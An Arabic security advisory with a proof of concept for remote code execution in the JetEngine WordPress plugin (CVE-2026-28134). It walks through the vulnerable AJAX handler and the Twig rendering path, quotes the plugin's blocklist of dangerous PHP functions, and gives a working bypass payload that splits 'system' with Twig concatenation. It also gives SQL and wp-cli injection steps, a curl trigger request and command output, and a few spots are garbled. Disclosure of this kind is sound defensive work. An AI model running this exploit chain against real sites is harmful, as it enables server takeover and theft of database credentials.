
JetEngine <= 3.7.2 - تنفيذ كود عن بُعد بعد المصادقة (مساهم+)
التاريخ: 11 مارس 2026 درجة CVSS: 8.8 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H الإضافة المتأثرة: JetEngine <= 3.7.2 معرّف الإضافة: jet-engine CVE: CVE-2026-28134 الحالة: خاص إصدار ووردبريس المُختبَر: الأحدث
CVE-2026-28134 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة JetEngine لووردبريس، وتؤثر على جميع الإصدارات حتى 3.7.2 وما يشمله. تسمح الثغرة للمهاجمين المصادق عليهم ممن يملكون صلاحية المساهم (Contributor) فأعلى بتنفيذ أوامر نظام تعسفية على الخادم عبر حقن قالب Twig خبيث في منشور قائمة JetEngine (Listing).
تدمج سلسلة الهجوم بين ثلاث نقاط ضعف:
~ الخاص بـ Twig لتقسيم أسماء الدوال المحظورة عبر عدة رموز.✅ تم تأكيد الثغرة — تم تحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد
الأثر المؤكد:
www-data/etc/passwd, wp-config.php)يوفر JetEngine نوع عرض قوائم (Listing view) مبنيًا على Twig/Timber. عند تفعيل مكوّن timber_views، يتم عرض بيانات المنشور _jet_engine_listing_html لمنشورات القوائم التي لديها _listing_type = twig كقالب Twig حي عبر Timber. يمكن الوصول إلى خط أنابيب العرض عبر إجراء AJAX غير المصادق عليه wp_ajax_nopriv_jet_engine_ajax، ولا يتطلب الأمر سوى أن يتمكن المهاجم من إنشاء أو تعديل منشور قائمة JetEngine (حد أدنى دور المساهم).
| الملف | المشكلة |
|---|---|
includes/components/listings/ajax-handlers.php:29 | تسجيل wp_ajax_nopriv_jet_engine_ajax — بدون تحقق من الهوية أو nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — توجيه تعسفي لأي دالة عامة |
includes/components/timber-views/timber.php:150 | render_html() يعرض قالب Twig يتحكم به المهاجم بدون sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — قائمة حظر regex نصية، ويمكن تجاوزها بتقسيم الرموز |
timber-library/lib/Twig.php:42-43 | Timber يسجّل fn()/function() كغلافات Twig لـ call_user_func_array |
ajax-handlers.php يسجّل إجراء AJAX لكل من المستخدمين المصادق عليه وغير المصادق عليه:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
يقوم المعالج بتوجيه الطلب إلى أي دالة عامة في الكلاس بناءً على $_REQUEST['handler'] بدون أي فحص nonce أو صلاحيات:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
استدعاء listing_load_more متاح للعموم ويؤدي إلى تشغيل خط أنابيب عرض القوائم.
سلسلة الاستدعاءات listing_load_more → get_listing → frontend->get_listing_item تصل إلى:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
عندما يكون $listing_view = 'twig'، يتم تشغيل Jet_Engine\Timber_Views\Render::get_listing_content()، والذي يقرأ قالب Twig من حقل المنشور الوصفي _jet_engine_listing_html ويمرّره مباشرة إلى render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
يعرض Twig بدون sandbox. الحماية الوحيدة هي sanitize_twig_content().
sanitize_twig_content() يزيل أسماء دوال PHP الخطيرة باستخدام أنماط regex لحدود الكلمات، ثم يتحقق مما إذا تم تعديل القالب أم لا:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
النمط \bsystem\b يطابق الرمز الحرفي system. لكنه لا يطابق "sys" ~ "tem" لأن هذين رمزين نصيين منفصلين بين علامتي اقتباس. يقوم Twig بتقييم عملية الدمج وقت العرض، فتُنتَج "system" في الذاكرة فقط — بينما لا يحتوي القالب المصدر أبدًا على الكلمة المحظورة.
الحمولة المخترِقة:
{{ fn("sys" ~ "tem", "id") }}
يرى المنظّف fn و"sys" و~ و"tem" و"id" — ولا يوجد أي منها في قائمة الحظر. فيمرر القالب دون تعديل.
fn() الخاص بـ Timberيسجّل Timber أغلفة استدعاءات PHP مباشرة في بيئة Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} يتحول إلى call_user_func_array("system", ["id"]) — تنفيذ أوامر نظام تعسفي.
timber_views في JetEngine مفعّل (إعدادات JetEngine > الأداء > عروض Timber/Twig).أنشئ منشور قائمة JetEngine مع تخزين قالب Twig الخبيث في بيانات المنشور الوصفية:
-- تعيين نوع القائمة إلى twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- حقن حمولة SSTI (تجاوز المنظّف عبر دمج ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- تعيين مصدر القائمة
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
أو عبر wp-cli (بصفتك مستخدم المساهم):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
تقسيم السلسلة المحظورة passthru إلى "pas" ~ "sthru":